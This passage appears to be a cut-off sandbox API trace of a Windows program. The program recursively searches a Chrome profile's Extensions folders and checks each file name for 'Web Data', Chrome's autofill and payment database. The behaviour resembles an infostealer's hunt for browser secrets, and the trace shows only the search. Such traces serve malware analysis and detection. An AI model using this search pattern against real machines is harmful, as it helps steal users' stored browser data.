FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.237] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.237] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.237] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.237] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.237] LocalFree (hMem=0x2decd0) returned 0x0 [0056.237] LocalFree (hMem=0x2debc8) returned 0x0 [0056.237] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.237] lstrcmpiA (lpString1=".", lpString2="6.2_0") returned -1 [0056.237] lstrcmpiA (lpString1="..", lpString2="6.2_0") returned -1 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 113 [0056.237] lstrlenA (lpString="\\") returned 1 [0056.237] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.237] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.237] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned 114 [0056.237] lstrlenA (lpString="6.2_0") returned 5 [0056.237] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2debc8 [0056.237] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.237] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\", lpString2="6.2_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" [0056.237] LocalFree (hMem=0x2deac8) returned 0x0 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned 119 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned 119 [0056.237] lstrlenA (lpString="\\*.*") returned 4 [0056.237] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2decc8 [0056.237] lstrcpyA (in: lpString1=0x2decc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" [0056.237] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*" [0056.237] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.237] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.237] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.237] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.237] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.237] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.237] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.237] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.237] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.237] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.237] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.237] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned 119 [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned 119 [0056.237] lstrlenA (lpString="\\") returned 1 [0056.237] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dedd0 [0056.237] lstrcpyA (in: lpString1=0x2dedd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0" [0056.237] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\" [0056.237] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\") returned 120 [0056.237] lstrlenA (lpString="_locales") returned 8 [0056.237] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2deed8 [0056.238] lstrcpyA (in: lpString1=0x2deed8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\" [0056.238] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.238] LocalFree (hMem=0x2dedd0) returned 0x0 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.238] lstrlenA (lpString="\\*.*") returned 4 [0056.238] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2d9b88 [0056.238] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.238] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*" [0056.238] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.238] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.238] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.238] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.238] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.238] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.238] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.238] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.238] lstrlenA (lpString="\\") returned 1 [0056.238] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.238] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.238] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.238] lstrlenA (lpString="ar") returned 2 [0056.238] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.238] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.238] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar" [0056.238] LocalFree (hMem=0x2daca0) returned 0x0 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar") returned 131 [0056.238] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar") returned 131 [0056.238] lstrlenA (lpString="\\*.*") returned 4 [0056.238] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.238] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar" [0056.239] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*" [0056.239] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.239] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.239] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.239] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.239] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.239] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.239] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.239] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.239] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.239] LocalFree (hMem=0x2daca0) returned 0x0 [0056.239] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.239] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.239] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.239] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.239] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.239] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.239] lstrlenA (lpString="\\") returned 1 [0056.239] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.239] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.239] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.239] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.239] lstrlenA (lpString="bg") returned 2 [0056.239] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.239] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.239] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg" [0056.239] LocalFree (hMem=0x2daca0) returned 0x0 [0056.239] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg") returned 131 [0056.239] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg") returned 131 [0056.239] lstrlenA (lpString="\\*.*") returned 4 [0056.239] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.239] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg" [0056.239] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*" [0056.239] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.239] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.239] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.239] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.239] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.239] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.239] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.240] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.240] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.240] LocalFree (hMem=0x2daca0) returned 0x0 [0056.240] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.240] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.240] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.240] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.240] lstrlenA (lpString="\\") returned 1 [0056.240] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.240] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.240] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.240] lstrlenA (lpString="ca") returned 2 [0056.240] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.240] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 